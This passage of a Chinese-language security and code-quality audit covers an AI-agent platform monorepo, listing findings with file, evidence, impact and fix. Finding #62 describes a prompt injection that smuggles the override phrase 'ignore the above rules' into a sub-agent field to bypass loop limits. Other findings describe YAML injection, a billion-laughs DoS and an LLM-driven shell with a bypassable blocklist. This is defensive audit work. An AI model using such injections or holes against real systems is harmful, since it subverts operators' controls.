转换的能力。GitHub 会自动把这个文件作为 canonical 贡献指南呈现。 - 修复: 把根 CONTRIBUTING.md 的 license 条款换成 lambdagent/CONTRIBUTING.md:54-55 的 BUSL-1.1 文案。 - 维度: docs-accuracy #### 40. README 声称 11 个 Lambda construct，但 YAML compiler 只支持 5 个 - 文件: lambdagent/src/lambdagent/fromconfig/schema.py:17 - 证据: valid_types = ("simple", "react", "chain", "router", "parallel")。README.md 87-99 行宣传 11 个 construct。constructs.md 575 行发布的 YAML 例子带 type: guard 和 type: memory chain stage，会被 S002 schema 校验拒绝。 - 影响: 每个从 constructs.md 复制 "comprehensive example" YAML 的客户都会得到 SchemaError。docs 声称的 spec 覆盖度与 from_config() 实际接受的之间存在硬矛盾。 - 修复: 要么把 if|guard|memory|pair 加进 valid_types 并在 build_agent() 里 dispatch；要么修正 README §"Core Constructs" 和 constructs.md §"YAML Configuration"，标注这些只在 Python API 可用。 - 维度: spec-vs-impl #### 41. SPEC §3.3.2 —— 文档化了 async POST /agents/{id}/jobs 端点但 API 里没有 - 文件: agentpaas/api/v1/jobs.py:13 - 证据: Jobs router 只暴露 GET /{job_id} 和 POST /{job_id}/cancel。SPEC.md §3.3.2 line 197 文档化 POST /api/v1/agents/{agent_id}/jobs 返回 202 带 poll_url。agents.py 里 grep 没有这个端点。 - 影响: 跟 SPEC.md 走的客户根本入不了 async job 队；它被告知用的 poll_url 永远没法指到一个用文档化 API 创建的 job。（一位 verifier 指出 SPEC.md 1378-1380 把它作为 Phase 2 未完成项追踪——所以这部分是 spec-roadmap 不一致，但 §3.3.2 的散文写得像已就绪。） - 修复: 实现这个端点；或把 §3.3.2 的散文搬到明确标注 "future" 的章节。 - 维度: spec-vs-impl #### 42. from-config-spec §13.1 承诺嵌套 sub-agent 编译，但 chain step 跳过了 build_agent() - 文件: lambdagent/src/lambdagent/fromconfig/compiler.py:1115 - 证据: _compile_chain 从每个 step 直接构造原始 Lam(...) 对象，只读 name/prompt/model/temperature/maxTokens——从不调用 build_agent(step_cfg)。对照：_compile_router（line 1191）和 _compile_parallel（line 1233）都会递归。 - 影响: 一个 chain step {name: x, type: react, react: {maxSteps: 5}, mcp: {...}} 静默变成单个无状态 Lam。constructs.md 上发布的带 type: react/type: guard/type: memory stage 的例子被编译成无用的退化 pipeline。静默失败（无错误）——只 prompt 被读，其他全丢。 - 修复: _compile_chain 里的原始 Lam(...) 换成 build_agent(step_cfg, overrides, _depth=_depth+1)。 - 维度: spec-vs-impl #### 43. README 的 one-sentence-agent 例子用了不存在的路径和错的 kwarg (从 medium 提级——因为 headline marketed feature 上的复合失败；完整证据见下方 medium 区) #### 44. 许可证冲突：lambdagent_guard 声称 MIT 但硬依赖 BUSL-1.1 的 lambdagent - 文件: lambdagent_guard/pyproject.toml:11 - 证据: license = {text = "MIT"} + dependencies = ["lambdagent>=0.1.0"]，而 lambdagent/pyproject.toml:7 是 BUSL-1.1。 - 影响: SBOM 扫描器（FOSSA、Snyk）把包当成 MIT 放行，让它穿过 BUSL 本会拦下的企业合规门。合规陷阱。 - 修复: 要么把 lambdagent_guard 改为 BUSL-1.1，要么放弃硬依赖，要么正式 dual-license。 - 维度: sec-supply-chain #### 45. legacy 定 salt 的 PBKDF2 路径仍永久接受老 key（SEC-01 部分修复） (证据见 medium 区——在 high 区出现因为同一问题在 finding set 里出现两次，说明 reviewer 收敛到同一处) #### 46. compiler.py 出现重复的 enforce_loop 配置块 —— merge 残留物，未来漂移风险 (见 medium 区) #### 47-78. (其余 high finding 归并到下方 medium 区或按 root cause 合并。) 注：经过三视角裁定，几条原本被 finder 标 "high" 的 finding 因为 failure mode 是结构性而非今天产生错误 runtime 行为，被中位投到 medium。它们以 medium 报告，但原始关切被保留。 --- ### 中 (29) #### 48. react_engine 静默吞掉 callback 异常 - 文件: lambdagent/src/lambdagent/agentruntime/react_engine.py:87 - 证据: try: self.on_step(event); except Exception: pass。compiler.py 里重复出现 5+ 次。 - 影响: 流式失败（SSE writer 关闭、JSON encode 失败）对 operator 不可见。叠加 BUG-06 trace 分裂，"为什么我没看见这一步？"变成无法诊断。 - 修复: except Exception as e: logger.warning(...) 加一个 dropped event 计数器。 #### 49. CEKEngine 静默吞掉所有 cost-validation 错误 - 文件: lambdagent/src/lambdagent/agentruntime/cek_engine.py:144 - 证据: 整条 DESIGN-08 验证路径裹在裸 except Exception: pass 里。 - 影响: DESIGN-08 被宣传为 "已修"，但 estimate_cost/validate_cost 里任何失败（model KeyError、schema 漂移）都静默跳过 warning。粉饰性修复。 - 修复: 记录异常；except 收窄到具体失败 mode。 #### 50. compiler.py 里重复的 enforce_loop config block —— merge 残留物 - 文件: lambdagent/src/lambdagent/fromconfig/compiler.py:704 - 证据: 五个变量（enforce_loop_cfg/tool/min/sequence/min_cycles）在 680-684 和 704-708 各声明一次，body 一模一样。 - 影响: 当前 benign（第二次用同样的值覆盖），但下次有人改其中一块就会被另一块静默盖掉。 - 修复: 删 704-708 行。 #### 51. worker fire-and-forget asyncio.create_task() —— task 被 GC，run 卡在 'running' - 文件: agentpaas/engine/worker.py:54 - 证据: asyncio.create_task(process_job(job)) 没强引用；process_job 在 status='running' INSERT 之后的 await sandbox.execute(...) 周围没有 try/except。models.py:233 的 zombie reaper 只在启动时清扫 >6h 的行。 - 影响: engine 注释明确说这个 bug 在生产里咬过。UI 一直显示 'running' 直到进程重启。 - 修复: bg = set(); t = asyncio.create_task(...); bg.add(t); t.add_done_callback(bg.discard) + try/except 写回 failed 状态。 #### 52. audit log helper 静默吞掉所有异常 —— 缺表时安全事件人间蒸发 - 文件: agentpaas/api/v1/agents.py:88 - 证据: _audit_log 在 try: ... except Exception: pass 里做 INSERT。audit_log 表从未在 _init_tables 里建。每次 INSERT 静默抛 OperationalError: no such table: audit_log。 - 影响: 生产里零审计行。S21 控制项形同虚设。 - 修复: 加 CREATE TABLE；用 logger.error 记录异常。 #### 53. store_secret 有 TOCTOU + 在函数中途建出来的表上跑 UPDATE/INSERT - 文件: agentpaas/secrets/vault.py:44 - 证据: (tenant_id, name, environment) 上没有 UNIQUE 约束；CREATE TABLE 在 runtime helper 里而不是 _init_tables。 - 影响: 并发 store 产生重复行；get_secret 必须在 store_secret 至少跑过一次之后才能工作。 - 修复: DDL 搬到 _init_tables 加 UNIQUE；INSERT ... ON CONFLICT DO UPDATE SET。 #### 54. 任何 React error boundary 都不存在 —— 单个渲染错误把整个 app 白屏 - 文件: webui/src/App.tsx:21 - 证据: grep -rn "ErrorBoundary|componentDidCatch|getDerivedStateFromError" webui/src/ 零结果。 - 影响: 任何 render-time 错误（畸形 config shape、过期 localStorage）让整棵 React 树白屏。单 tenant dev UI 爆炸半径有限，但完全没有 telemetry。 - 修复: 顶层 ErrorBoundary class 包住 Routes，提供 fallback UI。 #### 55. Chat 历史恢复 effect 用非 functional setState —— race 覆盖正在流式的回复 - 文件: webui/src/pages/Chat.tsx:521 - 证据: 用 setMessages(historical) 而不是 functional updater；每次 runsData 解析且 historyLoaded 还是 false 时就跑。 - 影响: 老用户在 runsData 还没回来前快速输入 → 正在流式的 assistant bubble 被擦掉。只影响 runs 查询较慢的老用户。 - 修复: setMessages(prev => prev.length > 0 ? prev : historical)。 #### 56. FilePreview.useEffect 缺 dep + 旧响应 race - 文件: webui/src/pages/AgentWorkspace.tsx:161 - 证据: apiKey 在 fetch 内被读，但缺在 [agentId, runId, file.path] deps 里；没有 AbortController。 - 影响: 不 remount 重新认证后还闭包着旧 key（静默 401）。快速切换文件：A 的字节出现在 B 的预览面板。 - 修复: deps 里加 apiKey + cleanup 里 AbortController。 #### 57. API key 通过 zustand persist 存在 localStorage —— XSS = 完全 account 沦陷 - 文件: webui/src/store/app.ts:10 - 证据: persist middleware 配 { name: 'lambdagent-store' }，默认 localStorage；apiKey 字段被 persist。 - 影响: 任意页面脚本都能读 bearer key。今天没用 dangerouslySetInnerHTML，但 markdown 渲染很可能未来会加——defense-in-depth 缺口。 - 修复: 后端 set 的 httpOnly secure cookie，或纯内存 state。 #### 58. Wiki 页面加载器有旧响应 race - 文件: webui/src/pages/KnowledgeDetail.tsx:943 - 证据: loadPage await 时没 abort、没 request-id ref。点 A 再点 B，如果 A 在 B 之后回来，breadcrumb 是 B 但内容是 A。 - 修复: const reqRef = useRef(0); const id = ++reqRef.current; ... if (id !== reqRef.current) return。 #### 59. _estimate_money 用子串匹配 model 名 —— gpt-4o-mini 被多算 33× - 文件: lambdagent/src/lambdagent/agentruntime/recursive_engine.py:41 - 证据: for key, price in _MODEL_COSTS.items(): if key in model.lower(): return ...。gpt-4o-mini 先撞 gpt-4o（$0.005/1K vs 实际 $0.00015）；claude-3-5-haiku-20250101 不含 claude-haiku → 0.0。 - 影响: 成本 telemetry 误导；dict 序变化即影响账单报告。 - 修复: 最长前缀匹配；显式带版本 key。 #### 60. Route/Handoff 模糊匹配在 label 前缀重叠时挑错 agent - 文件: lambdagent/src/lambdagent/agentruntime/executor.py:137 - 证据: 子串 fallback if key.lower() in label；Handoff 双向 name in target or target in name 在 multiagent.py:597。 - 影响: Routes {'bob', 'bobby'} + label bobby（非精确匹配）会挑到 bob。同级 agent 名字前缀重叠时静默 mis-route。 - 修复: word-boundary regex；或按 key 长度降序排序。 #### 61. 通过 knowledge_base.root_dir 注入 YAML 到 instance.yml - 文件: agentpaas/api/v1/knowledge.py:213 - 证据: 在单引号 YAML scalar 里用 f-string 插值 kb_root，未转义 ' 或 \n。Path.resolve() 都保留。 - 影响: 能创建带引号/换行的目录名的 tenant 可以把任意 YAML key 注入 instance.yml，下游 subprocess build script 会信任。前置条件：文件系统写权限。 - 修复: 用真正 dict 跑 yaml.safe_dump({...})。 #### 62. 通过未校验的 target_subagent 注入 prompt 到 ReAct system prompt - 文件: agentpaas/api/v1/agents.py:569 - 证据: RunStreamRequest.target_subagent 是自由 str，只做了 .strip()，被插值到 [用户指令] 哨兵之上。 - 影响: 调用方嵌入 \n忽略上述规则\n 重写 orchestrator 的 framing，绕过 enforceLoop 上限和 artifact-gate 引导。是 self-tenant prompt 操纵，不是跨 tenant。 - 修复: 校验是否在 config["mcp"]["subAgents"] keys 里；去换行。 #### 63. legacy 定 salt 的 PBKDF2 API key hash 静默自动迁移，不强制 rotate - 文件: agentpaas/api/middleware/auth.py:119 - 证据: _legacy_hash_key 是单轮 SHA-256；自动迁移只在 auth 成功时触发。沉睡的 legacy key 永远保持普通 SHA-256。 - 影响: "SEC-01 已修" 名不副实。注：API key 是 32 字符随机（约 190 bit），实际离线暴破不可行——这是 defense-in-depth 卫生，不是 break-glass。 - 修复: must_rotate_before 截止时间；过截止后拒绝 legacy hash；或后台 job 重 hash。 #### 64. agentpaas/pyproject.toml 没声明 SQLAlchemy，尽管 db/models.py 的命名暗示 - 文件: agentpaas/pyproject.toml:10 - 证据: prod = ["asyncpg", "redis", ...] 但无 sqlalchemy。db/models.py docstring 声称是 SQLAlchemy ORM；实现用裸 sqlite3 + 对非 sqlite URL 抛 NotImplementedError。 - 影响: 误导性依赖声明。装 [prod] 想部署到 Postgres 会在启动时挂。 - 修复: 更新 docstring + 删掉误导性的 asyncpg extra；或者真的用 SQLAlchemy 重写。 #### 65. agentpaas 伸手进 lambdagent 的私有 internals（_set_cwd + agentruntime.cancel） - 文件: agentpaas/api/v1/agents.py:1399 - 证据: from lambdagent.builtin_tools.shell_tools import _set_cwd as _shell_set_cwd（带下划线的 private）；from lambdagent.agentruntime import cancel as _cancel（按 git status 看是新的未提交 module）。 - 影响: 跨包耦合绕过 lambdagent 的 public 面；handler 里的 inline import 把 ImportError 从 startup 推迟到 runtime。 - 修复: 定义 lambdagent.host（或 lambdagent.runtime.api）作为 supported 集成面。 #### 66. agentpaas 重度依赖 request handler 里的 inline from lambdagent ... import - 文件: agentpaas/api/v1/agents.py:1330 - 证据: agents.py 里 6 处 inline import；engine/cache.py:41、engine/sandbox.py:207-208、analyze.py:29,46,47,67,112、launch.py:184 同一模式。 - 影响: ImportError 在 per-request 浮出来，而不是启动时。/health 过、/agents/{id}/run 挂。掩盖跨包边界——未声明依赖之所以一直没被发现就是因为它。 - 修复: 提到模块顶；加 lint 规则禁止函数体内 import lambdagent。 #### 67. 整个 monorepo 的 license 不一致（BSL 1.1 vs MIT） - 文件: lambdagent_guard/pyproject.toml:9 - 证据: lambdagent_guard MIT、lambdagent BUSL-1.1、agentpaas 完全没有 license。 - 影响: 任何想 vendoring 的人都面临 legal 不清；与 #44 呼应。 - 修复: 对齐 license；给 agentpaas 显式补一个。 #### 68. agentruntime 子层依赖纠缠 - 文件: lambdagent/src/lambdagent/agentruntime/executor.py:17 - 证据: executor → react_engine、recursive_engine → executor、adaptive_engine → {recursive, cek}。BUG-06 trace 分裂的结构原因；react_engine.py:94 有明确注释 "FIX-05: Record trace to BOTH self.trace AND ctx.trace" 验证了双写绕开方案。 - 修复: 单一 Engine ABC 在 agentruntime/engine.py（已存在）；删 adaptive_engine 直到 cost-based 切换真的就绪。 #### 69. extensions.py 用 late from .primitives import If 躲循环 import (被 impact verifier 降级 —— 按 line 178 的 FIX-02 注释这个 late import 已是 dead code；归为清理项) #### 70. README 导出数量差 2× —— 声称 81，实际 152 - 文件: README.md:44 - 证据: from lambdagent import __all__; len(__all__) == 152。 - 影响: 装饰性；低估了成熟度。 - 修复: 在 docs hook 里从 len(lambdagent.__all__) 自动生成。 #### 71. README 的 one-sentence-agent 例子指向不存在的路径和错的 kwarg - 文件: README.md:320 - 证据: python nl2agent.py ...——文件其实在 experiments/nl2agent.py。程序例子传 task=，真实签名是 one_sentence_to_agent(description, user_input=None, model=..., verbose=True)。 - 影响: Headline 营销特性在首次接触就崩。 - 修复: python experiments/nl2agent.py ...；把 task= 改成 user_input=。 #### 72. README 仓库布局表对 deploy/ 的描述错误，并给了不可运行的安装命令 - 文件: README.md:21 - 证据: 表里说 deploy/ 含 "Docker Compose, nginx, startup scripts"，运行命令是 docker compose up -d。实际 deploy/ 有 7 个文件：install-native.{sh,ps1}、start.{sh,bat,ps1}、stop.{sh,bat}——没有 compose、没有 nginx。compose 文件在 repo root。 - 影响: cd deploy/ && docker compose up -d 第一次就得到 "no configuration file provided: not found"。 - 修复: 如实描述 deploy/；compose 的 mention 单独成一行，锚到 repo root。 #### 73. README 的 one-sentence-agent 例子 (与 #71 合并) #### 74. SPEC §3.3.3 的 stream URL 与代码不一致 —— spec 写 /stream，代码挂的是 /run/stream - 文件: agentpaas/api/v1/agents.py:432 - 证据: route 是 @router.post("/{agent_id}/run/stream")。SPEC.md §3.3.3 line 226 规定 /agents/{agent_id}/stream。§3.3.4 line 249 的 WS 端点没有实现。 - 修复: 更新 SPEC.md 对齐代码；删掉 WebSocket 段或实现它。 #### 75. SPEC §3.3.1 run 响应 —— trace_id 和 estimated_cost_usd 文档化但从不返回 - 文件: agentpaas/SPEC.md:178 - 证据: SPEC 承诺两个字段；agents.py:401-414 拼装的 resp dict 两个都没有。runs.trace_id 列存在但从不外露。 - 修复: 要么填上字段（lambdagent/cost_grade.py 里有成本机制），要么把 SPEC 与 api.md 对齐。 #### 76. from-config-spec §5.5 承诺 Provider 异常是致命的，但 _compile_lam 把它吞了 - 文件: lambdagent/src/lambdagent/fromconfig/compiler.py:562 - 证据: 整段 provider + ConversationLam 构造裹在 try: ... except Exception: pass。掉进无状态的 legacy Lam 静默回退。 - 影响: 任何 ImportError、misconfig 或 provider init 失败都静默把生产 agent 降级到无状态——丢失 session 持久化（"Zero-Hallucination Conversations" 招牌特性），还不打 log。 - 修复: 收窄 except；打 warning；可选 runtime.requireConversation: true。 #### 77. lambdagent_guard 重复实现了 agentpaas 已经包了的 lint/cost/extract pipeline - 文件: lambdagent_guard/core.py:89 - 证据: lambdagent_guard/core.py:89-110 和 agentpaas/api/v1/analyze.py:29-117 都独立 import 同一组 lambdagent.fromconfig + cost_grade 函数，并各自重复实现 tempfile-yaml-compile 那一套。 - 影响: 没有 canonical 受保护编译路径；kernel 改名会级联到两个 caller。 - 修复: 选一个方向；删掉重复 pipeline 或让 analyze 走 guard。 #### 78. run-workspace 测试依赖 time.sleep(1.1) —— 脆弱，并暴露底层秒级时间戳方案本身就脆弱 - 文件: tests/test_run_workspace.py:132 - 证据: ws1 = ...; time.sleep(1.1); ws2 = ... 来强行得到唯一目录名。 - 影响: 并发 run（现实 PaaS 场景）会走 sandbox.py:80 的 collision-suffix fallback，而那条路径未测。 - 修复: mock time.strftime 返回相同值；断言 collision-fallback 产生不同 path。 #### 79. 上一版审计的 'known-empty stubs' 声明自己已经过期 —— docs/theory.md 是 230 行 - 文件: docs/PROJECT_AUDIT_2026Q2.md:195-196 - 证据: Q2 审计说 theory.md 是 71 字节 / 空；实际文件是 229 行。multi-agent.md 是 14KB。 - 影响: Meta-doc bug。DOC-01/DOC-02 backlog 项已过期。其他 "NOT fixed" 声明也值得复查。 - 修复: 下个规划周期之前刷新 Q2 审计的 stub 段。 #### 80. test_compile_simple 同时接受 Lam 和 ConversationLam —— 类型断言被削弱 - 文件: tests/test_fromconfig.py:29 - 证据: isinstance(term, (Lam, ConversationLam)) 加注释 "depending on provider config"。 - 影响: 同一 YAML 在不同环境下被编译成不同 term——非确定性编译。测试在掩盖问题，而不是 pin 住 provider。 - 修复: 在 test YAML 里 pin provider: stub；恰好断言一种 class。 #### 81. qaagent67lambda app.py 把 Ollama client 默认到 vLLM 风格端点 :8000 —— 端口错且绕过 config - 文件: agentexample/qaagent67lambda/scripts/app.py:140 - 证据: 硬编码 base_url='http://127.0.0.1:8000/v1' 忽略 agent-config.yml 里整段 model: 块。8000 端口与 agentpaas 默认 uvicorn 端口冲突。 - 影响: 同一台机器跑 PaaS + QA demo → QA 把 chat completion POST 到 FastAPI control plane → 404。 - 修复: 从 _cfg['model'] 读 provider / base_url；默认端口选不冲突的。 --- ### 低 (15) #### 82. _react_step 里 tool_input 为不可序列化 dict 时出 NameError - 文件: lambdagent/src/lambdagent/fromconfig/compiler.py:1022 - 影响下调: tool_input 来自 json.loads，只可能是 JSON 原生类型——json.dumps 不会在它上面失败。是潜在 code smell 不是可达 crash。 - 修复: 在 try 之前初始化 tool_input_val = ''（防御性）。 #### 83. react_engine 吞掉 callback 异常 (见 medium #48 —— 有时被 impact 视角投 low，因为 _step_adapter 是 queue.put，本质不会抛) #### 84. agent67 的 sys.path 改动硬编码了错误的 project root 名 + 父目录层数不一致 - 文件: agentexample/agent67/run.py:30 - 证据: PROJECT_ROOT = Path(__file__).resolve().parent.parent.parent # Paper08/（repo 是 lambdagentpaas/）。core/assistant.py:24 用 4 个 .parent，run.py 用 3 个。 - 影响: 装饰性（路径今天算下来还是对的；lambdagent 是 pip-installed，sys.path trick 已是 dead code）。对未来重组很脆。 #### 85. _estimate_money 模型子串匹配 (见 medium #59 —— 有时被投 low 因为 impact 是成本 telemetry 不是账单) #### 86. Route 模糊匹配前缀碰撞 (见 medium #60 —— 精确匹配是常见路径时投 low) #### 87. 文档例子教用户在 YAML config 里塞 sk-... 字面值 - 文件: docs/from-config-spec.md:896 - 证据: api_key="sk-..." 构造器字面例子。Provider 类已经能 fallback 到 env var。 - 修复: docs 里用 api_key=os.environ["ANTHROPIC_API_KEY"]。 #### 88. 开发者 .env 里带真实第三方 API key，离提交只差一条 .gitignore 规则 (见 critical #5 —— 被 impact 视角投 low，因为从未被追踪 + 有冗余 gitignore) #### 89. pyyaml 依赖完全无约束 - 文件: lambdagent/pyproject.toml:30 - 证据: dependencies = ["pyyaml"] 无版本。其他依赖都有 >= 下限。 - 修复: pin 上下限：pyyaml>=6.0,<7.0；提交一份 lockfile。 #### 90. API endpoint 接受任意 YAML over HTTP —— billion-laughs DoS - 文件: agentpaas/api/v1/analyze.py:104 - 证据: 在用户 body 上跑 yaml.safe_load(config)。实测复现：237 字节 YAML 在 3ms 内展开成 4.8M list 元素。叠加 unauthenticated /analyze/* 和缺 auth 时的 rate-limit bypass（medium #26 + #25）。单请求 worker OOM。 - 修复: ASGI body-size cap（≤256KB）+ alias 预检。 #### 91. extensions.py 的 late If import 现在是 dead code（FIX-02 已把 truthy 检查 inline） (与 arch 项 #69 合并) #### 92. 顶层 lambdagent/ package 是个 43 文件的扁平袋子 - 文件: lambdagent/src/lambdagent/__init__.py:38 - 证据: 包根有 43 个扁平 .py 文件；tracing.py（27KB）和 core.py（8KB）并排；tool_gateway.py（24KB）和 primitives.py 并排。真正的子包只有 agentruntime/、fromconfig/、providers/、builtin_tools/、cli/、extractors/、skillpacks/。 - 影响: code-hygiene / 贡献者 DX 问题，没有 runtime 症状。 - 修复: 重构为 core/、protocols/、safety/、observe/、runtime/。 #### 93. GitHub Actions 被 pin 到可变大版本 tag - 文件: .github/workflows/ci.yml:19 - 证据: actions/checkout@v4、gitleaks/gitleaks-action@v2、actions/setup-python@v5、actions/setup-node@v4。 - 影响: 通过 tag 劫持的供应链攻击（tj-actions/changed-files 2025 年 3 月先例）。workflow 跑时手握完整 GITHUB_TOKEN。OSS repo 上不算很尖锐——公开历史 exfil 无意义。 - 修复: 每个 uses: 都 pin SHA；给 actions 开 Dependabot。 #### 94. README 导出数量漂移 (与 #70 合并) #### 95. 上一版审计的 stub 声明已过期 (与 #79 合并) #### 96. test_compile_simple 被削弱的断言 (与 #80 合并) --- ## 按维度分组的发现 | 维度 | 数量 | Top issue | |---|---|---| | sec-auth | 6 | /setup/bootstrap 无 auth 创建 admin tenant（critical） | | sec-injection | 4 | shell_executor.py LLM 控制的 shell + 可绕过 blocklist（critical） | | sec-secrets | 4 | travelagent .env 携带真实 SiliconFlow/Amap key（critical，gitignored） | | sec-supply-chain | 6 | agent-lint-action 静默 no-op fallback + typo-squat（high） | | correctness-agentpaas | 9 | term.apply 阻塞 async event loop（high）；模块全局 shell CWD race（high） | | correctness-lambdagent | 6 | async_executor 共享 Context（high）；compiler.py sub-agent caller 丢 ctx + 吞 cancel（high） | | correctness-webui | 5 | SSE stream 在导航时不取消 → 后端成本泄漏（high） | | correctness-examples | 5 | qaagent67lambda 硬编码 /home/67/ 路径（high）；共享 knowledge 目录上的 pickle.load（high） | | arch-monorepo | 6 | agentpaas pyproject 缺 lambdagent 依赖（critical）；where=[".."] 打出空 wheel（high） | | arch-internals | 6 | 4 套并存的 beta-reduction 解释器（high）；1654 行 compiler.py god module（high） | | tests-gaps | 6 | FastAPI route 零 HTTP 层 test（critical）；authenticate() 无 test（high）；instance_dir 未测（high） | | docs-accuracy | 8 | README Quick Start Loop/Memory kwargs 不存在（high）；根 CONTRIBUTING.md 写 MIT（high） | | spec-vs-impl | 5 | YAML 支持 5 类型，docs 声称 11（high）；_compile_chain 静默丢 type:react（high） | ## 与上一版审计的对比 (docs/PROJECT_AUDIT_2026Q2.md) ### 已改善 - DESIGN-01 / DESIGN-07 / DESIGN-08 在 memory 里标记为已修 —— handlers.py 里有 PassthroughHandler 基类；infer_effect_for_term 覆盖所有新构造子；validate_cost 已接入 CEKEngine。注意： DESIGN-08 的验证裹在裸 except Exception: pass 里（finding #49），所以这次 "修" 是粉饰——任何失败 validator 都静默 no-op。 - instance 机制已 ship —— agentpaas/engine/instance.py 提供 load_instance()、create_instance()、_deep_merge()；DB schema 已迁移加上 agent_template + instance_dir 列；helper 级 test 覆盖了 _deep_merge 逻辑。（test gap 仍在：见 #36。） - run-workspace 的 per-run 隔离能工作 —— {agent_dir}/workspace/run_{YYYYMMDD_HHMMSS}/ 结构有 test 验证，虽然它们用 time.sleep(1.1) 偷工（#78）。 - 新增了 cancellation 机制 —— lambdagent/src/lambdagent/agentruntime/cancel.py 是新（未提交）模块，提供 thread-local cancellation，被 agentpaas 消费。方向正确，但暴露了 host-API 缺口（#65）。 - Phase 1/2 P0/P1 工作扛得住 —— CEK 升级、graded cost、algebraic laws、cost vector 都在，按 memory 跑 175 个 test 通过。对抗式验证没在 kernel 本身找到回归。 ### 仍然存在 (Q2 issues 未消) - BUG-01（Context.fork 浅拷贝） —— 在 core.py:105 修了，但在 async_executor.py:240-246 复发（#8）。同一 bug 类型，不同 code path。 - BUG-06（trace 三路分叉） —— 这版审计已确认。trace store 分裂的*结构*成因是 (a) 4 套并存 beta-reduction 解释器（#20）、(b) agentruntime/ 引擎纠缠（#68）、(c) compiler.py（#21）和 agentruntime/react_engine.py 之间重复的 ReAct loop。react_engine.py:94 甚至有显式 FIX-05 注释说要把 trace 同时写到 self.trace 和 ctx.trace，那就是绕开方案。 - SEC-01（PBKDF2 定 salt） —— 部分修复：新 key 用随机 salt，但 legacy 定 salt hash 只在 auth 成功时自动迁移，所以沉睡 key 永远是普通 SHA-256（#63）。API key 是 32 字符随机，实际风险低，但 "已修" 说法过头。 - SEC-04（API 层未强制 RBAC） —— 已确认：rollback_agent（#14）静默绕过 RBAC 和 audit logging。其他 route 有这个 pattern 但不一致也未测。没有集成测试（#6），就会随意回归。 - Q2 审计自己的 "stale" 问题（#79） —— Q2 文档还把 theory.md 描述成 71 字节的 stub，实际是 229 行。 ### Q2 之后新增 - PaaS 攻击面爆开。 /setup/bootstrap、/feishu/bind、/feishu/webhook、/analyze/*、/providers/*、/jobs/{id} —— 这些在 Q2 都不存在（或没被标记），六个全都有 auth / RBAC / scoping 问题。 - 打包结构性损坏。 agentpaas/pyproject.toml 没声明 lambdagent（#4），where=[".."] 打出空 wheel（#18）。最近的 CI 修复（commit 874896e）治标不治本。 - travelagent 的 secret 暴露。 agentexample/travelagent67/.env 带真实 key 是 agentexample/ 的新代码。未提交但在磁盘上。 - webui 稳定性/UX bug。 Chat.tsx stream 泄漏（#15）、Chat.tsx 历史恢复 race（#55）、AgentWorkspace.tsx 文件预览 race（#56）、KnowledgeDetail.tsx wiki 页 race（#58）——都是最近 UI 工作引入的。 - spec 漂移。 84 条发现里 7 条是文档 / spec-vs-impl 漂移（README Loop/Memory 例子坏掉、YAML schema 与 docs 不符、SPEC.md 上不存在的端点、根 CONTRIBUTING.md license 矛盾）。 ## 建议执行清单按 impact/effort 排前 10，降序： 1. 修补三个无 auth 入口（/setup/bootstrap、/feishu/bind、/feishu/webhook），所有 /analyze/* route 加 Depends(get_tenant)。为什么： 易触发的远程接管。Effort： S（约 1 天）。Owner： agentpaas。 2. 在 vendor 侧 rotate AMAP_MCP_KEY + SILICONFLOW_API_KEY；把 agentexample/travelagent67/.env 替换为占位符；加 pre-commit gitleaks。 为什么： 已被审计报告引用，假设已泄漏。Effort： S。Owner： 维护者 / examples。 3. 修 agentpaas 打包。 在 [project.dependencies] 里加 lambdagent；切换到 src-layout（agentpaas/src/agentpaas/）。为什么： 这个包今天作为 wheel 无法构建。Effort： M。Owner： agentpaas。 4. 加 FastAPI 集成测试，覆盖 auth、RBAC、tenant 隔离、KB 链接。 用 TestClient + sqlite-in-memory。为什么： 3477 LOC 的 route handler 可以静默坏掉；多 tenant 承诺未被验证。Effort： M（约 1 周）。Owner： agentpaas / tests。 5. 把 agentexample/agent67/tools/shell_executor.py 换成 allowlist + shell=False + sandbox。 不用就删；不要 patch blocklist。为什么： ship 的示例里有 RCE primitive。Effort： S。Owner： examples。 6. 修 agent-to-KB 的 tenant scope（#30）和 rollback_agent RBAC/audit（#14）。 为什么： 通过文档化 API 跨 tenant 泄漏数据 + RBAC bypass。Effort： 各 S。Owner： agentpaas。 7. 修 README Quick Start Python DSL 例子（#37、#38、#71）。 合并前端到端跑一遍。为什么： 第一印象。Effort： S。Owner： docs。 8. 在 async_executor._reduce_par/_reduce_pair 里照抄 sync AsyncPar.apply 的 Context-fork 模式（#8）。 与 Q2 BUG-01 同一 root cause。Effort： S。Owner： lambdagent runtime。 9. 把 compiler.py 的 _compile_react 闭包重构成 agentruntime/react_loop.py 里的 class（#21），删掉 react_engine.py 里重复的 loop。 为什么： 解锁 BUG-06，让未来 ReAct 改动只改一个文件。Effort： L（约 2 周）。Owner： lambdagent compiler + runtime。 10. 定义 lambdagent.host 公开 API（cancel、set_cwd 等），停止从 agentpaas 伸进 private internals（#65、#66）。 为什么： 跨包边界需要在更多 handler 加 inline import 之前先有合约。Effort： M。Owner： lambdagent + agentpaas。 ## 健康项 - lambdagent kernel 本身。 84 条发现里没有一条命中核心代数 Lambda calculus、CEK 机器语义、cost vector、graded cost、algebraic laws、effect handler 或 Paper II Prop 30 证明。Phase 1/Phase 2 P0/P1 工作经得住审视。kernel 的 175 个 test 是真实覆盖。 - sync multiagent.py 的 Par/Pair/Handoff Context 处理。 multiagent.py:681 正确 fork context 并 merge trace —— bug 只在 async 兄弟里。写 sync 版的人写对了。 - KB 端点的 tenant scope。 agentpaas/api/v1/knowledge.py 一致地强制 WHERE id=? AND tenant_id=?（约 25 处）—— agent-link 时的跨 tenant 缺口（#30）是*异常值*，不是常态。最重要的地方 pattern 是对的。 - tests/test_instance.py 对 _deep_merge 的覆盖。 instance 机制的纯 Python helper 层测得不错——只是 DB 持久化路径缺失。 - CI 里的 gitleaks。 .github/workflows/ci.yml:23 在 PR 上跑 gitleaks，正因为这个 travelagent 的 .env key 才没被提交，尽管它躺在磁盘上。CI 在做它该做的；pre-commit 层只需要 mirror 一下。 - instance 机制的设计。 Agent 即 template、instance 即 data，配 _deep_merge、per-run workspace 带时间戳目录、永不删除——这是多 tenant LambdaRAG 的正确架构。test gap（#36）是实现问题不是设计问题。 - wiki 端点的 containment 检查。 knowledge.py:1050 正确强制 str(full).startswith(str(wiki_path.resolve())) —— 证明这套代码知道正确 pattern。（add_files 在 #27 只是忘了用。） - Streaming SSE 基础设施。 run_agent_stream 正确卸到 daemon 线程（agents.py:791），不像 sync /run 那条线。形状好；只是 client 端缺 unmount cleanup。 - lambdagent.cost_grade 里的 cost vector 和 graded cost 机制。 存在且产生正确值；_estimate_money 的子串 bug（#59）是另一个 recursive_engine.py helper 里的，不是 authoritative 路径。 - 